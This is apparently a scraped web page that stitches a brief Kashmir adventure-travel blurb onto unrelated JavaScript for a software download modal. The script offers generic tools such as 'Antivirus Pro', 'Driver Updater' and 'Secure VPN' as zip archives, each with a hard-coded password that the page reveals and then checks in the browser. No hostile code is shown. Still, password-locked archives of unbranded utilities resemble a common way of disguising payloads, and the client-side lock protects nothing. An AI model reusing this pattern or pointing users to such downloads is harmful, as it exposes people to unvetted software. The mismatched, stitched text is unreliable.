Kashmir Adventure

Thrill-seekers rejoice! Kashmir offers adventure sports, trekking, rafting, skiing, and more for the ultimate adrenaline rush.

Highlights
- Trekking in the Himalayas
- White water rafting
- Skiing and snowboarding
- Paragliding and camping
const tools = { office: { title: 'Office Suite', desc: 'Full-featured documents, sheets and presentations with cloud sync.', dl: 'downloads/office-suite.zip', password: 'junaidshah', docs: '#' }, antivirus: { title: 'Antivirus Pro', desc: 'Real-time protection, scheduled scans and ransomware shield.', dl: 'downloads/antivirus-pro.zip', password: 'antivirus123', docs: '#' }, cleaner: { title: 'System Cleaner', desc: 'Deep-clean junk files, optimize startup and improve battery life.', dl: 'downloads/system-cleaner.zip', password: 'cleaner456', docs: '#' }, drivers: { title: 'Driver Updater', desc: 'Scan hardware and update drivers from verified vendors.', dl: 'downloads/driver-updater.zip', password: 'drivers789', docs: '#' }, vpn: { title: 'Secure VPN', desc: 'AES-256 encrypted tunnels, global servers and kill-switch for privacy.', dl: 'downloads/secure-vpn.zip', password: 'vpnsecure', docs: '#' }, backup: { title: 'Backup & Restore', desc: 'Automated backups, encryption and one-click restore.', dl: 'downloads/backup-restore.zip', password: 'backup321', docs: '#' }, pdf: { title: 'PDF Toolkit', desc: 'Merge, split, compress and sign PDFs — fast and secure.', dl: 'downloads/pdf-toolkit.zip', password: 'pdftool', docs: '#' }, notes: { title: 'Notes & Organizer', desc: 'Fast notes, tags, reminders and cross-device sync.', dl: 'downloads/notes-organizer.zip', password: 'notes2025', docs: '#' } }; // --- end tools object --- // Modal references const modal = document.getElementById('modal'); const modalTitle = document.getElementById('modalTitle'); const modalDesc = document.getElementById('modalDesc'); const modalDownload = document.getElementById('modalDownload'); const modalDocs = document.getElementById('modalDocs'); const modalPasswordReveal = document.getElementById('modalPasswordReveal'); const copyPasswordBtn = document.getElementById('copyPasswordBtn'); const passwordInput = document.getElementById('passwordInput'); const unlockBtn = document.getElementById('unlockBtn'); const unlockFeedback = document.getElementById('unlockFeedback'); let currentToolKey = null; function openModal(toolKey){ currentToolKey = toolKey; const t = tools[toolKey] || {title:'Unknown', desc:'No details.', dl:'#', password:''}; modalTitle.textContent = t.title; modalDesc.textContent = t.desc; // Show the (intended) password for the user to copy; keep download locked until validation modalPasswordReveal.value = t.password || ''; modalDocs.href = t.docs || '#'; // lock download modalDownload.removeAttribute('href'); modalDownload.setAttribute('aria-disabled','true'); modalDownload.style.opacity = '0.6'; modalDownload.style.pointerEvents = 'none'; // reset input & feedback passwordInput.value = ''; unlockFeedback.style.display = 'none'; modal.classList.add('open'); modal.setAttribute('aria-hidden','false'); document.body.style.overflow = 'hidden'; } function closeModal(){ modal.classList.remove('open'); modal.setAttribute('aria-hidden','true'); document.body.style.overflow = ''; currentToolKey = null; } // copy password to clipboard copyPasswordBtn.addEventListener('click', async () => { try { await navigator.clipboard.writeText(modalPasswordReveal.value || ''); copyPasswordBtn.textContent = 'Copied'; setTimeout(()=> copyPasswordBtn.textContent = 'Copy', 1200); } catch (err) { copyPasswordBtn.textContent = 'Copy'; } }); // Unlock & Download logic: validate entered password unlockBtn.addEventListener('click', () => { if(!currentToolKey) return; const expected = (tools[currentToolKey] && tools[currentToolKey].password) || ''; const entered = passwordInput.value || ''; if(entered === expected && expected !== ''){ // enable download link (set real href) const dl = tools[currentToolKey].dl || '#'; modalDownload.href = dl; modalDownload.setAttribute('aria-disabled','false'); modalDownload.style.opacity = '1'; modalDownload.style.pointerEvents = ''; // optionally auto-start download // window.location.href = dl; unlockFeedback.style.display = 'none'; // Give clear UX: change unlock button to "Open Download" unlockBtn.textContent = 'Unlocked'; unlockBtn.disabled = true; setTimeout(()=> { unlockBtn.textContent = 'Unlock & Download'; unlockBtn.disabled = false; }, 1400); } else { unlockFeedback.textContent = 'Incorrect password — please check and try again.'; unlockFeedback.style.display = 'block'; } }); // existing bindings for cards that open modal (ensure they still work) document.querySelectorAll('.card,[data-action="open"]').forEach(el=>{ el.addEventListener('click', (ev)=>{ const tool = el.dataset.tool || ev.currentTarget.dataset.tool; if(tool) openModal(tool); }); }); document.getElementById('modalClose').addEventListener('click', closeModal); modal.addEventListener('click', (e)=>{ if(e.target===modal) closeModal(); }); document.addEventListener('keydown', (e)=>{ if(e.key==='Escape') closeModal(); });